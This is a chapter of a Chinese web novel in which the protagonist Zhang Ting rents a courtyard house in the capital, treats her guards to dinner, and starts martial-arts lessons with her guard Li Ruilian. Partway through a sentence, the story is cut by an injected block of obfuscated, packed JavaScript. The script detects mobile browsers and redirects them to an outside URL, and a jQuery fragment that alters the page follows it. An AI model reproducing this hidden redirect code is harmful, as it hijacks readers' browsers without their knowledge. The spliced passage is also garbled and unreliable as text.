马车停在牙行外。
四名护卫这一路来无用武之地,还怕张庭嫌弃她们吃白饭,纷纷下马把张庭护在中间。
张庭很满意,但初入京都应该行事低调,所以让她们守在门口等着就好。
这阵仗牙行经济还以为谁来催债了,吓了一跳。
再看这人面容憔悴,又穿着身纹样过时的章缎袍子,才松了口气。
“哟生客,您这是来买丫头、小厮,还是来赁宅子?”
“在下想赁个宅子,有劳经济了。”
牙行经济姓崔,是位高挑丰腴的中年女人,面白亲和,总是笑眯眯的,和米老板有几份神似。
“您这是想赁个多大的宅子?”崔经济心想:听这口音竟然还是外地人。
目前张庭这边有六人,但得留下多余的屋子有备无患,“能住下十口人便好。”
“那一进的宅院便小了,给您看二进的宅子。”崔经济来到案台前,找出几张图纸递给张庭。
图纸上线条清晰流畅,将各个宅子的房间分布、宅内设计大致描绘清楚了。
“如今我手里头共有五处二进宅子,一处是城北的,这处位置最好,离大人们上值的地儿近!往前走两条街,就是繁华的通平街,平时您家里灶娘买菜做饭也极为便宜!但是房主要价高,一百两银子赁一年,要是您有意买下的话,大概得一万两银子。”
张庭:“……”难怪后世总说京都居,大不易。这谁住的起?
她翻翻手里的图纸,找到这处城北的宅子,院内布局、设计都是极好,但是她把图纸还给崔经济。
“除了这处呢?”
崔经济接过图纸,了然一笑,这处虽然好,但确实太贵了,她也没真想介绍张庭买,先说这处只是为了杀杀外地人的锐气,让她明白京都房价贵,有个心理准备。
“还有四处。其中城东有两处,不少达官贵人都住这儿,一处偏小,稍微破旧,修缮后便无碍了,要价一年十五两银子,另一处宽敞明亮,前年刚修的新屋,要价二十五两银子。”
“城西有一处,虽然位置不算优越,但环境安静,舒适明亮,院里还栽种了不少花啊树的,十分雅致,要价十两银子。最后一处是城南,但那处鱼龙混杂,便不给您介绍了。”
张庭颔首,翻过图纸,让崔经济分别带她去看看这三处屋子,还邀请她上马车。
俱都看过,张庭最后敲下城西的这个。
这处离闹市有点远,但都有马车了倒不费事,屋子干净整齐,宽敞明亮,约莫五百平,布置闲适惬意,栽种不少花草树木,姿态各异,养护得极好,中间还有个八角凉亭,夏日可以乘凉。
张庭很爽快和崔经济签了契书,当天就搬进去,列了张单子吩咐郑二和车夫去采买一应物品,又让剩下的人帮忙收拾屋子。
四名护卫接到指令都很高兴,总算有正事做了,心里没那么慌张,匆匆便都散了。
张庭还跟崔经济打听这屋子若是买卖,房主属意多少银两?
崔经济顺利得了佣金很开心,但是张庭的打算她有心无力,“这……当时屋主特意嘱咐过此屋只赁不卖。”
房主是个商人,不缺银钱,赁出去也只是为了让宅子沾点人气。
张庭深感遗憾,送崔经济出门,还说请她帮忙想聘个灶娘或是灶郎做饭。
崔经济眼珠子骨碌一转,答应下来。
申时收拾妥当,大家累得手都抬不起来,张庭体贴地叫了帮闲去酒楼置办了一桌子菜带回来。
花了整整一两银子。
亭子里的石桌上摆满了好菜好肉,张庭让大家都坐下吃,她们竟然不肯。
郑二挠挠头,憨笑:“怎么能和主人家同桌用饭呢?”路上坚苦,一同用过也就罢了,现在住在主人家怎么还能毫无尊卑?
李瑞莲也说:“属下们去外院用饭便是,这般实在不合礼数。”
张庭起身把这两人按在凳子上坐好,又让其他人也坐,“今日幸苦各位了,一同用饭又算什么?”
倒了杯酒敬她们,气氛热闹起来。
饭后,张庭按照旧例将护卫和车夫安排住在外院倒坐房,两人一间屋子,住的还算宽敞。
张庭将李瑞莲单独留下。
李瑞莲今日酒水吃了不少,还没忍住在张庭面前打了个嗝。
张庭一听,笑了。
李瑞莲手足无措立在那里,尴尬得满脸通红,她抱拳道:“属下失态,还请女君恕罪。”
张庭摆摆手,毫不在意,“你不必紧张,这次要你留下是有求于你。”
“我打算习武,你可愿教授?届时每月再单独给你一贯钱作为酬谢。”
李瑞莲吞吞吐吐:“愿意是愿意,也不需要女君酬谢,是属下份类之事,只是……”
张庭挑眉:“只是什么?”
酒壮人胆不是假话,李瑞莲直接便道:“女君年纪实在太大了,骨架定型,再习武恐怕也练不成什么好功夫……”
张庭笑笑,对她说:“不成便当作强身健体也可。”要是练过,跑路怎么也得比别人快吧?
李瑞莲连连点头,张庭让她回去好好休息,明早辰时再来指点自己习武。
张庭住内院的正房,右侧通风敞亮,她准备拿来做书房,日后若是和许攸的产业挣钱,她还能留在京都备考科举。
裹着厚实的被褥,渐渐安睡。
次日,天还黝黑,李瑞莲捂着酸胀的头醒来,洗漱一番,便去教张庭习武了,态度比本人还要热情。
张庭要练武,便换上枣红色的棉袍,免得弄脏锦衣。
刚一开门,便见李瑞莲笔直地立在门口,衣衫单薄,鼻子冻得通红,吓了一跳。
张庭温声道:“李护卫,让你久等,你来了怎么不先叫醒我?”
李瑞莲不会说客套话,连忙摆手,“无碍无碍。”
昨夜下了场雪,院子里覆盖着厚厚一层。
郑二昨晚酒水沾的少,也起得早,她看见倒座房积雪深厚,闲不住拿出昨日买得扫帚把路面清理干净,打扫完毕又跑去内院。
看到老大和张庭站一起,颇感诧异但没问,低下头拿扫帚扫雪。
张庭十分看重郑二,此人虽其貌不扬,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246218|166050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
机灵胆大,之前派她去报官、采买物资,这些事都办的很好,如今又懂早上来扫雪,可见是个眼里有活的。
稍加培养,日后会是处理外务的好手。
“你们四姐妹各有各的长处,我倒是捡着宝了。”
李瑞莲却皱着眉头,面露几分愁苦,这些时日朝夕相处,早已对张庭卸下防备,她叹气一声,对张庭说:“东家有所不知,属下这几个妹妹都是极好的人,当初若不是被我连累,她们如今应该都存下钱,娶夫郎了,是我这个做大姐的愧对她们。”
张庭听说过李瑞莲的事迹,八卦之心顿起,忙问:“难道你真调戏了于家少爷?”细细打量她一眼,脸还是俊的,但一身粗布麻衣没变。
之前李瑞莲拿了张庭的银钱在岐山县挑了新马,不过十多日,那马儿的毛发就变得水亮光滑,可见私下没少补贴。
若说她调戏骏马张庭是信的,但若说为了美色觊觎于家少爷,张庭要打个问号。
没想到这一问,把李瑞莲弄得窘迫不已,她支支吾吾半天,才说:“也不能说调戏。”
张庭:“?”
李瑞莲麦色的脸上涨得通红,干笑两声,全然不见初见时的锐利和机警,“于少爷问属下愿不愿娶她?属下想大户人家的少爷陪嫁必然丰厚便一口答应,也问过于少爷他说支持我养马。”
“但没想到,他夜里竟偷偷来找我,要我带他私奔!”
“我想到日后还要多养一个人就拒绝了......”
“当时的动静惊动了其他护院,于少爷反口就污蔑我调戏他。”
“我当时解释过了,但居然没有一个人信我!”
张庭:“......”不知该感叹于少爷的变脸之快,还是该无语李瑞莲的心机。
她拍拍李瑞莲的肩膀,“我信你。”
此人心智坚定,实乃难得一见的养马大才。
张庭拉着人的手就开始画大饼:“李护卫爱马成痴,实在令我万分动容,若日后有时机我必定......”
哄得李瑞莲激动不已,手立在半空微微颤抖,片刻后才对她躬身一拜,“属下谢东家赏识!”心里说不出有多美。
又和李瑞莲说了会儿话,郑二才把地面清理完毕,张庭把人叫过来,狠狠地夸赞一番,直夸得对方心花怒放,张庭给了她两钱银子让她跑腿买些早食回来,若有余钱便都归她。
郑二深觉自己跟对了人,接过钱兴冲冲地跑出了宅子。
李瑞莲开始教张庭练武,她立刻严肃起来,语气低沉,要求严苛,与方才判若两人。
“习武之道,在于勤勉、刻苦,属下今日先教东家如何压腿、扎马步,这几日多练习基本功,待时机成熟,后面再教外功拳法、招式。”
一一指正张庭的错处,李瑞莲还道:“今早先扎两个时辰马步,吃过早食之后再继续。”
张庭一介柔弱书生,练得十分艰难,双腿直打颤,好在她硬是强撑下来。
都是为了小命!
直看得李瑞莲连连点头,不愧是东家,明明身体虚软乏力,但意志力却如此恐怖!